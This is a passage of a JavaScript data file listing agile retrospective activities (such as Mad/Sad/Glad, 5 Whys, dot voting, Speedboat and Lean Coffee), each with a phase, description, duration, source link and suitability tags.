summary: "Participants write down significant events and order them chronologically",
desc: "Divide into groups with 5 or less people each. Distribute cards and markers. \
Give participants 10min to note down memorable and / or personally significant events. \
It's about gathering many perspectives. Consensus would be detrimental. All participants \
post their cards and order them. It's okay to add cards on the fly. Analyze.<br>\
Color Coding can help to see patterns, e.g.:<br>\
<ul>\
<li>Emotions</li>\
<li>Events (technical, organization, people, ...)</li>\
<li>Function (tester, developer, manager, ...)</li>\
</ul>",
source: source_agileRetrospectives,
durationDetail: "60-90 timeframe",
duration: "Medium",
stage: "All",
suitable: "iteration, release, introverts"
};
all_activities[4] = {
phase: 1,
name: "Analyze Stories",
summary: "Walk through each story handled by the team and look for possible improvements",
desc: "Preparation: Collect all stories handled during the iteration and bring them along to \
the retrospective.<br> \
In a group (10 people max.) read out each story. For each one discuss whether it went \
well or not. If it went well, capture why. If not discuss what you could do differently \
in the future.<br>\
Variants: You can use this for support tickets, bugs or any combination of work \
done by the team.",
duration: "Long",
stage: "Storming, Norming",
source: source_findingMarbles,
suitable: "iteration, max10people"
};
all_activities[5] = {
phase: 1,
name: "Like to like",
summary: "Participants match quality cards to their own Start-Stop-Continue-proposals",
desc: "Preparation: ca. 20 quality cards, i.e. colored index cards with unique words \
such as <i>fun, on time, clear, meaningful, awesome, dangerous, nasty</i><br> \
Each team member has to write at least 9 index cards: 3 each with things to \
start doing, keep doing and stop doing. Choose one person to be the first judge. \
The judge turns the first quality card. From their own cards each member \
chooses the best match for this word and places it face down on the table.\
The last one to choose has to take their card back on their hand. The judge shuffles all \
submitted cards, turns them one by one and rules the best fit = winning card. \
All submitted cards are discarded. The submitter of the winning card receives \
the quality card. The person left of the judge becomes the new judge.<br> \
Stop when everyone runs out of cards (6-9 rounds). Whoever has the most quality \
cards wins. Debrief by asking for takeaways. <br>\
(Game is based on 'Apples to Apples')",
source: source_agileRetrospectives,
durationDetail: "30-40",
duration: "Long",
stage: "All",
suitable: "iteration, introverts"
};
all_activities[6] = {
phase: 1,
name: "<NAME>",
summary: "Collect events when team members felt mad, sad, or glad and find the sources",
desc: "Put up three posters labeled 'mad', 'sad', and 'glad' (or >:(, :(, :) alternatively). Team members write down \
one event per color coded card, when they've felt that way. When the time is up \
have everyone post their cards to the appropriate posters. Cluster the cards on \
each poster. Ask the group for cluster names. <br>\
Debrief by asking:\
<ul>\
<li>What's standing out? What's unexpected?</li>\
<li>What was difficult about this task? What was fun?</li>\
<li>What patterns do you see? What do they mean for you as a team?</li>\
<li>Suggestions on how to continue?</li>\
</ul>",
source: source_agileRetrospectives,
durationDetail: "15-25",
duration: "Medium",
stage: "All",
suitable: "iteration, release, project, introverts"
};
all_activities[7] = {
phase: 2,
name: "<NAME>",
summary: "Drill down to the root cause of problems by repeatedly asking 'Why?'",
desc: "Divide the participants into small groups (<= 4 people) and give \
each group one of the top identified issues. Instructions for the group:\
<ul>\
<li>One person asks the others 'Why did that happen?' repeatedly to find the root cause or a chain of events</li>\
<li>Record the root causes (often the answer to the 5th 'Why?')</li>\
</ul>\
Let the groups share their findings.",
source: source_agileRetrospectives,
durationDetail: "15-20",
duration: "Short",
stage: "All",
suitable: "iteration, release, project, root_cause"
};
all_activities[8] = {
phase: 2,
name: "<NAME>",
summary: "Team members brainstorm in 4 categories to quickly list issues",
desc: "After discussing the data from Phase 2 show a flip chart with 4 quadrants labeled \
':)', ':(', 'Idea!', and 'Appreciation'. Hand out sticky notes. \
<ul>\
<li>The team members can add their input to any quadrant. One thought per sticky note. </li>\
<li>Cluster the notes.</li>\
<li>Hand out 6-10 dots for people to vote on the most important issues.</li>\
</ul>\
This list is your input for Phase 4.",
source: source_agileRetrospectives,
durationDetail: "20-25",
duration: "Medium",
stage: "All",
suitable: "iteration"
};
all_activities[9] = {
phase: 2,
name: "Brainstorming / Filtering",
summary: "Generate lots of ideas and filter them against your criteria",
desc: "Lay out the rules of brainstorming, and the goal: To generate lots of new ideas \
which will be filtered <em>after</em> the brainstorming.\
<ul>\
<li>Let people write down their ideas for 5-10 minutes</li>\
<li>Go around the table repeatedly always asking one idea each, until all ideas are on the flip chart</li>\
<li>Now ask for filters (e.g. cost, time investment, uniqueness of concept, brand appropriateness, ...). \
Let the group choose 4.</li>\
<li>Apply each filter and mark ideas that pass all 4.</li>\
<li>Which ideas will the group carry forward? Does someone feel strongly about one of the ideas?\
Otherwise use majority vote. </li>\
</ul>\
The selected ideas enter Phase 4.",
source: source_agileRetrospectives,
more: "<a href='http://www.mpdailyfix.com/the-best-brainstorming-nine-ways-to-be-a-great-brainstorm-lead/'>\
Nine Ways To Be A Great Brainstorm Lead</a>",
durationDetail: "40-60",
duration: "Long",
stage: "All",
suitable: "iteration, release, project, introverts"
};
all_activities[10] = {
phase: 3,
name: "Circle of Questions",
summary: "Asking and answering go around the team circle - an excellent way to reach consensus",
desc: "Everyone sits in a circle. Begin by stating that you'll go round asking questions to find out \
what you want to do as a group. You start by asking your neighbor the first question, e.g. \
'What is the most important thing we should start in the next iteration?' Your \
neighbor answers and asks her neighbor a related question. Stop when consensus emerges or \
the time is up. Go around at least once, so that everybody is heard!",
source: source_agileRetrospectives,
durationDetail: "30+ groupsize",
duration: "Medium",
stage: "Forming, Norming",
suitable: "iteration, release, project, introverts"
};
all_activities[11] = {
phase: 3,
name: "Dot Voting - Start, Stop, Continue",
summary: "Brainstorm what to start, stop & continue and pick the top initiatives",
desc: "Divide a flip chart into boxes headed with 'Start', 'Continue' and 'Stop'. \
Ask your participants to write concrete proposals for each category - 1 \
idea per index card. Let them write in silence for a few minutes. \
Let everyone read out their notes and post them to the appropriate category. \
Lead a short discussion on what the top 20% beneficial ideas are. Vote on it by distributing dots\
or X's with a marker, e.g. 1, 2, and 3 dots for each person to distribute. \
The top 2 or 3 become your action items.\
<br><br>\
(Check out <a href='http://www.funretrospectives.com/open-the-box/'>Pau<NAME>oli's 'Open the Box'</a> for an awesome variation of this activity.)",
source: source_agileRetrospectives,
durationDetail: "15-30",
duration: "Medium",
stage: "All",
suitable: "iteration"
};
all_activities[12] = {
phase: 3,
name: "SMART Goals",
summary: "Formulate a specific and measurable plan of action",
desc: "Introduce <a href='http://en.wikipedia.org/wiki/SMART_criteria'>SMART goals</a> \
(specific, measurable, attainable, relevant, timely) and examples for SMART vs not so \
smart goals, e.g.'We'll study stories before pulling them by talking about them with the \
product owner each Wednesday at 9am' vs. 'We'll get to know the stories before they \
are in our sprint backlog'.<br>\
Form groups around the issues the team wants to work on. Each group identifies 1-5 \
concrete steps to reach the goal. Let each group present their results. All participants should agree \
on the 'SMART-ness' of the goals. Refine and confirm.",
source: source_agileRetrospectives,
durationDetail: "20-60 groupsize",
duration: "Medium",
stage: "All",
suitable: "iteration, release, project"
};
all_activities[13] = {
phase: 4,
name: "Feedback Door - Numbers (ROTI)",
summary: "Gauge participants' satisfaction with the retro on a scale from 1 to 5 in minimum time",
desc: "Put sticky notes on the door with the numbers 1 through 5 on them. 1 is the topmost and best, \
5 the lowest and worst.\
When ending the retrospective, ask your participants to put a sticky to the number they feel \
reflects the session. The sticky can be empty or have a comment or suggestion on it.",
source: "ALE 2011, " + source_findingMarbles,
durationDetail: "2-3",
duration: "Short",
stage: "Forming, Performing",
suitable: "iteration, largeGroups"
};
all_activities[14] = {
phase: 4,
name: "Appreciations",
summary: "Let team members appreciate each other and end positively",
desc: "Start by giving a sincere appreciation of one of the participants. \
It can be anything they contributed: help to the team or you, a solved problem, ...\
Then invite others and wait for someone to work up the nerve. Close, when no one \
has talked for a minute.",
source: source_agileRetrospectives + " who took it from 'The Satir Model: Family Therapy and Beyond'",
durationDetail: "5-30 groupsize",
duration: "Short",
stage: "All",
suitable: "iteration, release, project"
};
all_activities[15] = {
phase: 4,
name: "<NAME>",
summary: "Get concrete feedback on how you facilitated",
desc: "Prepare 3 flip chart papers titled 'Helped', 'Hindered', and 'Hypothesis' \
(suggestions for things to try out). \
Ask participants to help you grow and improve as a facilitator by writing \
you sticky notes and signing their initials so that you may ask questions later.",
source: source_agileRetrospectives,
durationDetail: "5-10",
duration: "Medium",
stage: "Forming, Storming",
suitable: "iteration, release"
};
all_activities[16] = {
phase: 4, // 5 geht auch
name: "SaMoLo (More of, Same of, Less of)",
summary: "Get course corrections on what you do as a facilitator",
desc: "Divide a flip chart in 3 sections titled 'More of', 'Same of', and 'Less of'. \
Ask participants to nudge your behaviour into the right direction: Write stickies \
with what you should do more, less and what is exactly right. Read out and briefly \
discuss the stickies section-wise.",
source: "<a href='http://fairlygoodpractices.com/samolo.htm'>Fairly good practices</a>",
more: "<a href='http://www.scrumology.net/2010/05/11/samolo-retrospectives/'><NAME>'s experiences</a>",
durationDetail: "5-10",
duration: "Medium",
stage: "Forming, Storming",
suitable: "iteration, release, project"
};
all_activities[17] = {
phase: 0,
name: "Check In - Amazon Review",
summary: "Review the iteration on Amazon. Don't forget the star rating!",
desc: "Each team member writes a short review with: \
<ul>\
<li>Title</li>\
<li>Content</li>\
<li>Star rating (5 stars is the best) </li>\
</ul>\
Everyone reads out their review. Record the star ratings on a flip chart.<br>\
Can span whole retrospective by also asking what is recommended about the iteration and what not.",
source: "<a href='http://blog.codecentric.de/2012/02/unser-sprint-bei-amazon/'>Christian Heiß</a>",
durationDetail: "10",
duration: "Long",
stage: "All",
suitable: "release, project"
};
all_activities[18] = {
phase: 1,
name: "Speedboat / Sailboat",
summary: "Analyze what forces push you forward and what pulls you back",
desc: "Draw a speedboat onto a flip chart paper. Give it a strong motor as well \
as a heavy anchor. Team members silently write on sticky notes what propelled the team forward \
and what kept it in place. One idea per note. Post the stickies motor and anchor respectively. \
Read out each one and discuss how you can increase 'motors' and cut 'anchors'. \
<br><br> \
Variation: Some people add an iceberg in the back of the image. The iceberg represents obstacles \
they already see coming.",
source: source_innovationGames + ", found at <a href='http://leadinganswers.typepad.com/leading_answers/2007/10/calgary-apln-pl.html'><NAME></a>",
durationDetail: "10-15 groupSize",
duration: "Medium",
stage: "All",
suitable: "iteration, release"
};
all_activities[19] = {
phase: 2,
name: "Perfection Game",
summary: "What would make the next iteration a perfect 10 out of 10?",
desc: "Prepare a flip chart with 2 columns, a slim one for 'Rating' and a wide one for 'Actions'. \
Everyone rates the last iteration on a scale from 1 to 10. Then they have to suggest what action(s) \
would make the next iteration a perfect 10.",
source: "<a href='http://www.benlinders.com/2011/getting-business-value-out-of-agile-retrospectives/'><NAME></a>",
duration: "Medium",
stage: "All",
suitable: "iteration, release"
};
all_activities[20] = {
phase: 3,
name: "Merge",
summary: "Condense many possible actions down to just two the team will try",
desc: "Hand out index cards and markers. Tell everyone to write down the two actions they \
want to try next iteration - as concretely as possible \
(<a href='http://en.wikipedia.org/wiki/SMART_criteria'>SMART</a>). Then everyone pairs \
up with their neighbor and both together must merge their actions into a single list with \
two actions. The pairs form groups of 4. Then 8. Now collect every group's two action items \
and have a vote on the final two.",
source: "<NAME> & <NAME>",
durationDetail: "15-30 groupSize",
duration: "Medium",
stage: "All",
suitable: "iteration, release, project, largeGroups"
};
all_activities[21] = {
phase: 0,
name: "Temperature Reading",
summary: "Participants mark their 'temperature' (mood) on a flipchart",
desc: "Prepare a flipchart with a drawing of a thermometer from freezing to body temperature to hot. \
Each participant marks their mood on the sheet.",
duration: "Short",
stage: "All",
source: source_unknown,
};
all_activities[22] = {
phase: 4,
name: "Feedback Door - Smilies",
summary: "Gauge participants' satisfaction with the retro in minimum time using smilies",
desc: "Draw a ':)', ':|', and ':(' on a sheet of paper and tape it against the door. \
When ending the retrospective, ask your participants to mark their satisfaction \
with the session with an 'x' below the applicable smily.",
source: "<a href='http://boeffi.net/tutorials/roti-return-on-time-invested-wie-funktionierts/'>Boeffi</a>",
durationDetail: "2-3",
duration: "Short",
stage: "All",
suitable: "iteration, largeGroups"
};
all_activities[23] = {
phase: 3,
name: "Open Items List",
summary: "Participants propose and sign up for actions",
desc: "Prepare a flip chart with 3 columns titled 'What', 'Who', and 'Due'. \
Ask one participant after the other, what they want to do to advance \
the team. Write down the task, agree on a 'done by'-date and let them sign \
their name. <br>\
If someone suggests an action for the whole team, the proposer needs to get \
buy-in (and signatures) from the others.",
source: source_findingMarbles + ", inspired by <a href='http://lwscologne.wordpress.com/2012/05/08/11-treffen-der-limited-wip-society-cologne/#Retrospektiven'>this list</a>",
durationDetail: "10-15 groupSize",
duration: "Medium",
stage: "All",
suitable: "iteration, release, smallGroups"
};
all_activities[24] = {
phase: 2,
name: "Cause-Effect-Diagram",
summary: "Find the source of problems whose origins are hard to pinpoint and lead to endless discussion",
desc: "Write the problem you want to explore on a sticky note and put it in the middle of a whiteboard. \
Find out why that is a problem by repeatedly asking 'So what?'. Find out the root causes \
by repeatedly asking 'Why (does this happen)?' Document your findings by \
writing more stickies and showing causal relations with arrows. Each sticky can have more than \
one reason and more than one consequence<br> \
Vicious circles are usually good starting points for actions. If you can break their bad \
influence, you can gain a lot.",
source: "<a href='http://blog.crisp.se/2009/09/29/henrikkniberg/1254176460000'><NAME></a>",
more: "<a href='http://finding-marbles.com/2011/08/04/cause-effect-diagrams/'>Corinna's experiences</a>",
durationDetail: "20-60 complexity",
duration: "Long",
stage: "Storming, Norming",
suitable: "release, project, smallGroups, complex"
};
all_activities[25] = {
phase: 2,
name: "Speed Dating",
summary: "Each team member explores one topic in depth in a series of 1:1 talks",
desc: "Each participant writes down one topic they want to explore, i.e. something they'd like to \
change. Then form pairs and spread across the room. Each pair discusses both topics \
and ponders possible actions - 5 minutes per participant (topic) - one after the other. \
After 10 minutes the pairs break up to form new pairs. Continue \
until everyone has talked to everyone else. <br>\
If the group has an odd number of members, the facilitator is part of a pair but the partner \
gets all 10 minutes for their topic.",
source: "<a href='http://vinylbaustein.net/tag/retrospective/'><NAME></a>",
durationDetail: "10 perPerson",
duration: "Long",
stage: "Storming, Norming",
suitable: "iteration, release, smallGroups"
};
all_activities[26] = {
phase: 5,
name: "Retrospective Cookies",
summary: "Take the team out to eat and spark discussion with retrospective fortune cookies",
desc: "Invite the team out to eat, preferably Chinese if you want to stay in theme ;) \
Distribute fortune cookies and go around the table opening the cookies and \
discussing their content. Example 'fortunes': \
<ul>\
<li>What was the most effective thing you did this iteration, and why was it so successful?</li>\
<li>Did the burndown reflect reality? Why or why not?</li>\
<li>What do you contribute to the development community in your company? What could you contribute?</li>\
<li>What was our Team's biggest impediment this iteration?</li>\
</ul>\
You can <a href='http://weisbart.com/cookies/'>order retrospective cookies from Weisbart</a> \
or bake your own, e.g. if English is not the team's native language.",
source: "<a href='http://weisbart.com/cookies/'><NAME></a>",
durationDetail: "90-120",
duration: "Long",
stage: "Performing, Stagnating, Adjourning",
suitable: "iteration, release, smallGroups"
};
all_activities[27] = {
phase: 5,
name: "<NAME>",
summary: "Go to the nearest park and wander about and just talk",
desc: "Is there nice weather outside? Then why stay cooped up inside, when walking fills your brain with oxygen \
and new ideas 'off the trodden track'. Get outside and take a walk in the nearest park. Talk will \
naturally revolve around work. This is a nice break from routine when things run relatively smoothly and \
you don't need visual documentation to support discussion. Mature teams can easily spread ideas and reach \
consensus even in such an informal setting.",
source: source_findingMarbles,
durationDetail: "60-90",
duration: "Long",
stage: "Performing, Adjourning",
suitable: "iteration, release, smallGroups, smoothSailing, mature"
};
all_activities[28] = {
phase: 3,
name: "Circles & Soup / Circle of Influence",
summary: "Create actions based on how much control the team has to carry them out",
desc: "Prepare a flip chart with 3 concentric circles, each big enough to put stickies in. Label them \
'Team controls - Direct action', 'Team influences - Persuasive/recommending action' and 'The soup - Response action', \
from innermost to outermost circle respectively. ('The soup' denotes the wider system the team is embedded into.) \
Take your insights from the last phase and put them in the appropriate circle.<br> \
The participants write down possible actions in pairs of two. Encourage them to concentrate on issues in their \
circle of influence. The pairs post their action plans next to the respective issue and read it out loud. \
Agree on which plans to try (via discussion, majority vote, dot voting, ...)",
source: "<a href='http://www.futureworksconsulting.com/blog/2010/07/26/circles-and-soup/'><NAME></a> who adapted it from 'Seven Habits of Highly Effective People' by <NAME> and <a href='http://www.ayeconference.com/wiki/scribble.cgi?read=CirclesOfControlInfluenceAndConcern'>Circle of Influence and Concern</a>' by <NAME>",
duration: "Medium",
stage: "Forming, Storming, Norming",
suitable: "iteration, release, project, stuck, immature"
};
all_activities[29] = {
phase: 5,
name: "Dialogue Sheets",
summary: "A structured approach to a discussion",
desc: "A dialogue sheet looks a little like a board game board. There are \
<a href='http://allankelly.net/dlgsheets/'>several different sheets available</a>. \
Choose one, print it as large as possible (preferably A1) and follow its instructions.",
source: "<a href='http://allankelly.net/dlgsheets/'>Allen Kelly at Software Strategy</a>",
durationDetail: "90-120",
duration: "Long",
stage: "All",
suitable: "iteration, release, project"
};
all_activities[30] = {
phase: 0,
name: "Check In - Draw the Iteration",
summary: "Participants draw some aspect of the iteration",
desc: "Distribute index cards and markers. Set a topic, e.g. one of the following: \
<ul>\
<li>How did you feel during the iteration?</li>\
<li>What was the most remarkable moment?</li>\
<li>What was the biggest problem?</li>\
<li>What did you long for?</li>\
<li>If the last iteration had been a circus performance, what part did you play? Juggler, funambulist, clown, knife-thrower, ...</li> \
</ul>\
Ask the team members to draw their answer. Post all drawings on a whiteboard. For each drawing \
let people guess what it means, before the artist explains it.<br> \
Metaphors open new viewpoints and create a shared understanding.",
source: source_findingMarbles + ", adapted from <a href='http://vinylbaustein.net/2011/03/24/draw-the-problem-draw-the-challenge/'><NAME></a>, <NAME>; <a href='https://twitter.com/thomasguest'><NAME></a>",
durationDetail: "5 + 3 per person",
duration: "Medium",
stage: "Performing",
suitable: "iteration, release, project"
};
all_activities[31] = {
phase: 0,
name: "Emoticon Project Gauge",
summary: "Help team members express their feelings about a project and address root causes early",
desc: "Prepare a flipchart with faces expressing various emotions such as: \
<ul>\
<li>shocked / surprised</li>\
<li>nervous / stressed</li>\
<li>unempowered / constrained</li>\
<li>confused</li>\
<li>happy</li>\
<li>mad</li>\
<li>overwhelmed</li>\
</ul>\
Let each team member choose how they feel about the project. This is a fun and effective way to \
surface problems early. You can address them in the subsequent phases.",
source: "<NAME>",
durationDetail: "10 for 5 people",
duration: "Short",
stage: "All",
suitable: "iteration, release"
};
all_activities[32] = {
phase: 1,
name: "Proud & Sorry",
summary: "What are team members proud or sorry about?",
desc: "Put up two posters labeled 'proud' and 'sorry'. Team members write down \
one instance per sticky note. When the time is up have everyone read \
out their note and post it to the appropriate poster.<br>\
Start a short conversation e.g. by asking:\
<ul>\
<li>Did anything surprise you?</li>\
<li>What patterns do you see? What do they mean for you as a team?</li>\
</ul>",
source: source_agileRetrospectives,
durationDetail: "10-15",
duration: "Medium",
stage: "All",
suitable: "iteration, release"
};
all_activities[33] = {
phase: 4,
name: "Shower of Appreciation",
summary: "Listen to others talk behind your back - and only the good stuff!",
desc: "Form groups of 3. Each group arranges their chairs so that 2 chairs \
face each other and the third one has its back turned, like this: >^<. \
The two people in the chairs that face each other talk about the third person for 2 minutes. \
They may only say positive things and nothing that was said may be reduced in meaning by \
anything said afterwards. <br>\
Hold 3 rounds so that everyone sits in the shower seat once.",
source: "<a href='http://www.miarka.com/de/2010/11/shower-of-appreciation-or-talking-behind-ones-back/'><NAME></a>",
durationDetail: "10-15",
duration: "Short",
stage: "Norming, Performing",
suitable: "iteration, release, matureTeam"
};
all_activities[34] = {
phase: 1,
name: "Agile Self-Assessment",
summary: "Assess where you are standing with a checklist",
desc: "Print out a checklist that appeals to you, e.g.:\
<ul>\
<li><a href='http://www.crisp.se/gratis-material-och-guider/scrum-checklist'><NAME>'s excellent Scrum Checklist</a></li>\
<li><a href='http://finding-marbles.com/2011/09/30/assess-your-agile-engineering-practices/'>Self-assessment of agile engineering practices</a></li>\
<li><a href='http://agileconsortium.blogspot.de/2007/12/nokia-test.html'>Nokia Test</a></li>\
</ul>\
Go through them in the team and discuss where you stand and if you're on the right track. <br>\
This is a good activity after an iteration without major events.",
source: source_findingMarbles,
durationDetail: "10-25 minutes depending on the list",
duration: "Medium",
stage: "All",
suitable: "smallTeams, iteration, release, project, smoothGoing"
};
all_activities[35] = {
phase: 0,
name: "Appreciative Goal",
summary: "State an affirmative goal for the session",
desc: "Concentrate on positive aspects instead of problems by setting an affirmative goal, e.g.\
<ul>\
<li>Let's find ways to amplify our strengths in process and teamwork</li>\
<li>Let's find out how to extend our best uses of engineering practices and methods</li>\
<li>We'll look at our best working relationships and find ways to build more relationships like that</li>\
<li>We'll discover where we added the most value during our last iteration to increase the value we'll add during the next</li>\
</ul>",
source: "<a href='http://www.ayeconference.com/appreciativeretrospective/'>Diana Larsen</a>",
durationDetail: "3 minutes",
duration: "Short",
stage: "All",
suitable: "iteration, release, project"
};
all_activities[36] = {
phase: 2,
name: "Remember the Future",
summary: "Imagine the next iteration is perfect. What is it like? What did you do?",
desc: "'Imagine you could time travel to the end of the next iteration (or release). You learn that it was \
the best, most productive iteration yet! How do your future selves describe it? What do you \
see and hear?' Give the team a little time to imagine this state and jot down some keywords to aid their memory. \
Then let everyone describe their vision of a perfect iteration.<br>\
Follow up with 'What changes did we implement that resulted in such a productive and satisfying future?'\
Write down the answers on index cards to use in the next phase.",
source: source_innovationGames + ", found at <a href='http://www.ayeconference.com/appreciativeretrospective/'><NAME></a>",
duration: "Medium",
stage: "Storming",
suitable: "iteration, release, project"
};
all_activities[37] = {
phase: 3,
name: "Dot Voting - Keep, Drop, Add",
summary: "Brainstorm what behaviors to keep, drop & add and pick the top initiatives",
desc: "Divide a flip chart into boxes headed with 'Keep', 'Drop' and 'Add'. \
Ask your participants to write concrete proposals for each category - 1 \
idea per index card. Let them write in silence for a few minutes. \
Let everyone read out their notes and post them to the appropriate category. \
Lead a short discussion on what the top 20% beneficial ideas are. Vote on it by distributing dots \
or X's with a marker, e.g. 1, 2, and 3 dots for each person to distribute. \
The top 2 or 3 become your action items.",
source: source_agileRetrospectives,
durationDetail: "15-30",
duration: "Medium",
stage: "All",
suitable: "iteration"
};
all_activities[38] = {
phase: 3,
name: "Dot Voting - Worked well, Do differently",
summary: "Brainstorm what worked well & what to do differently and pick the top initiatives",
desc: "Head 2 flip charts with 'Worked well' and 'Do differently next time' respectively. \
Ask your participants to write concrete proposals for each category - 1 \
idea per index card. Let them write in silence for a few minutes. \
Let everyone read out their notes and post them to the appropriate category. \
Lead a short discussion on what the top 20% beneficial ideas are. Vote on it by distributing dots \
or X's with a marker, e.g. 1, 2, and 3 dots for each person to distribute. \
The top 2 or 3 become your action items.",
source: source_agileRetrospectives,
durationDetail: "15-30",
duration: "Medium",
stage: "All",
suitable: "iteration"
};
all_activities[39] = {
phase: 4,
name: "Plus & Delta",
summary: "Each participant notes 1 thing they like and 1 thing they'd change about the retro",
desc: "Prepare a flip chart with 2 columns: Head them with 'Plus' and 'Delta'. \
Ask each participant to write down 1 aspect of the retrospective they liked \
and 1 thing they would change (on different index cards). Post the index \
cards and walk through them briefly to clarify the exact meaning and detect \
the majority's preference when notes from different people point into opposite directions.",
source: "<a href='http://agileretrospectivewiki.org/index.php?title=Weekly_Retrospective_Simple_%2B_delta'><NAME></a>",
durationDetail: "5-10",
duration: "Medium",
stage: "All",
suitable: "release, project"
};
all_activities[40] = {
phase: 2,
name: "<NAME>",
summary: "Group discussion with varying subsets of participants",
desc: "Place at least 4 and at most 6 chairs in a row so that they face the group. \
Explain the rules: \
<ul>\
<li>Take a bench seat when you want to contribute to the discussion</li>\
<li>One seat must always be empty</li>\
<li>When the last seat is taken, someone else must leave and return to the audience</li>\
</ul>\
Get everything going by sitting on the 'bench' and wondering aloud about \
something you learned in the previous phase until someone joins. \
End the activity when discussion dies down. \
<br>This is a variant of 'Fish Bowl'. It's suited for groups of 10-25 people.",
source: "<a href='http://www.futureworksconsulting.com/blog/2010/08/24/park-bench/'><NAME></a>",
durationDetail: "15-30",
duration: "Medium",
stage: "All",
suitable: "release, project, largeGroups"
};
all_activities[41] = {
phase: 0,
name: "Postcards",
summary: "Participants pick a postcard that represents their thoughts / feelings",
desc: "Bring a stack of diverse postcards - at least 4 four times as many as participants. \
Scatter them around the room and instruct team members to pick the postcard that best \
represents their view of the last iteration. After choosing they write down three keywords \
describing the postcard, i.e. iteration, on index cards. In turn everyone hangs up their post- and \
index cards and describes their choice.",
source: "<a href='http://finding-marbles.com/2012/03/19/retrospective-with-postcards/'><NAME></a>",
durationDetail: "15-20",
duration: "Medium",
stage: "All",
suitable: "iteration, release, project",
};
all_activities[42] = {
phase: 0,
name: "Take a Stand - Opening",
summary: "Participants take a stand, indicating their satisfaction with the iteration",
desc: "Create a big scale (i.e. a long line) on the floor with masking tape. Mark one \
end as 'Great' and the other as 'Bad'. Let participants stand on the scale \
according to their satisfaction with the last iteration. Psychologically, \
taking a stand physically is different from just saying something. It's more 'real'.<br> \
You can reuse the scale if you close with activity #44.",
source: source_findingMarbles + ", inspired by <a href='http://www.softwareleid.de/2012/06/eine-retro-im-kreis.html'><NAME></a>",
durationDetail: "2-5",
duration: "Short",
stage: "All",
suitable: "iteration, release, project"
};
all_activities[43] = {
phase: 4,
name: "Take a Stand - Closing",
summary: "Participants take a stand, indicating their satisfaction with the retrospective",
desc: "Create a big scale (i.e. a long line) on the floor with masking tape. Mark one \
end as 'Great' and the other as 'Bad'. Let participants stand on the scale \
according to their satisfaction with the retrospective. Psychologically, \
taking a stand physically is different from just saying something. It's more 'real'.<br> \
See activity #43 on how to begin the retrospective with the same scale.",
source: source_findingMarbles + ", inspired by <a href='http://www.softwareleid.de/2012/06/eine-retro-im-kreis.html'><NAME></a>",
durationDetail: "2-5",
duration: "Short",
stage: "All",
suitable: "iteration, release, project"
};
all_activities[44] = {
phase: 4,
name: "<NAME>",
summary: "What pleased and / or surprised participants in the retrospective",
desc: "Just make a quick round around the group and let each participant point out one \
finding of the retrospective that either surprised or pleased them (or both).",
source: source_unknown,
durationDetail: "5",
duration: "Short",
stage: "All",
suitable: "iteration, release, project"
};
all_activities[45] = {
phase: 0,
name: "Why Retrospectives?",
summary: "Ask 'Why do we do retrospectives?'",
desc: "Go back to the roots and start into the retrospective by asking 'Why do we do this?' \
Write down all answers for everyone to see. You might be surprised.",
source: "<a href='http://proessler.wordpress.com/2012/07/20/check-in-activity-agile-retrospectives/'><NAME>ler</a>",
durationDetail: "5",
duration: "Short",
stage: "Forming, Performing, Stagnating",
suitable: "iteration, release, project"
};
all_activities[46] = {
phase: 1,
name: "Empty the Mailbox",
summary: "Look at notes collected during the iteration",
desc: "Set up a 'retrospective mailbox' at the beginning of the iteration. Whenever something \
significant happens or someone has an idea for improvement, they write it \
down and 'post' it. (Alternatively the 'mailbox' can be a visible place. This can spark \
discussion during the iteration.) <br>\
Go through the notes and discuss them.<br>\
A mailbox is great for long iterations and forgetful teams.",
source: source_skycoach,
more: "<a href='http://skycoach.be/2010/06/17/12-retrospective-exercises/'>Original article</a>",
durationDetail: "15",
duration: "Medium",
stage: "All",
suitable: "release, project"
};
all_activities[47] = {
phase: 3,
name: "Take a Stand - Line Dance",
summary: "Get a sense of everyone's position and reach consensus",
desc: "When the team can't decide between two options, create a big scale (i.e. a long line) \
on the floor with masking tape. Mark one end as option A) and the other as option B). \
Team members position themselves on the scale according to their preference for either option. \
Now tweak the options until one option has a clear majority.",
source: source_skycoach,
more: "<a href='http://skycoach.be/2010/06/17/12-retrospective-exercises/'>Original article</a>",
durationDetail: "5-10 per decision",
duration: "Short",
stage: "Storming, Norming",
suitable: "iteration, release, project"
};
all_activities[48] = {
phase: 3,
name: "Dot Voting - Starfish",
summary: "Collect what to start, stop, continue, do more and less of",
desc: "Draw 5 spokes on a flip chart paper, dividing it into 5 segments. \
Label them 'Start', 'Stop', 'Continue', 'Do More' and 'Do less'. \
Participants write their proposals on sticky notes and put \
them in the appropriate segment. After clustering stickies that capture the \
same idea, dot vote on which suggestions to try.",
source: "<a href='http://www.thekua.com/rant/2006/03/the-retrospective-starfish/'><NAME></a>",
durationDetail: "15 min",
duration: "Medium",
stage: "All",
suitable: "iteration, release, project"
};
all_activities[49] = {
phase: 2,
name: "<NAME>",
summary: "A fairy grants you a wish - how do you know it came true?",
desc: "Give participants 2 minutes to silently ponder the following question: \
'A fairy grants you a wish that will fix your biggest problem \
at work overnight. What do you wish for?' Follow up with: 'You come to work the next \
morning. You can tell, that the fairy has granted your wish. How do you know? \
What is different now?' If trust within the group is high, let everyone describe \
their 'Wish granted'-workplace. If not, just tell the participants to keep their \
scenario in mind during the next phase and suggest actions that work towards making it real.",
source: "Lydia Grawunder & <NAME>",
durationDetail: "15 min",
duration: "Medium",
stage: "Storming, Norming",
suitable: "iteration"
};
all_activities[50] = {
phase: 1,
name: "Lean Coffee",
summary: "Use the Lean Coffee format for a focused discussion of the top topics",
desc: "Say how much time you set aside for this phase, then explain the rules of Lean Coffee for retrospectives: \
<ul> \
<li>Everyone writes down topics they’d like to discuss - 1 topic per sticky</li>\
<li>Put the stickies up on a whiteboard or flipchart. The person who wrote it describes the topic in 1 or 2 sentences. Group stickies that are about the same topic</li>\
<li>Everyone dot-votes for the 2 topics they want to discuss</li>\
<li>Order the stickies according to votes</li>\
<li>Start with the topic of highest interest</li>\
<li>Set a timer for 5 minutes. When the timer beeps, everyone gives a quick thumbs up or down. Majority of thumbs up: The topic gets another 5 minutes. Majority of thumbs down: Start the next topic. </li>\
</ul> \
Stop when the allotted time is over.",
source: "<a href='http://leancoffee.org/'>Original description</a> and <a href='http://finding-marbles.com/2013/01/12/lean-altbier-aka-lean-coffee/'>in action</a>",
durationDetail: "20-40 min",
duration: "Flexible",
stage: "All",
suitable: "iteration"
};
all_activities[51] = {
phase: 0,
name: "Constellation - Opening",
summary: "Let the participants affirm or reject statements by moving around",
desc: "Place a circle or sphere in the middle of a free space. Let the team gather around it. \
Explain that the circle is the center of approval: If they agree to a statement they should move towards it, \
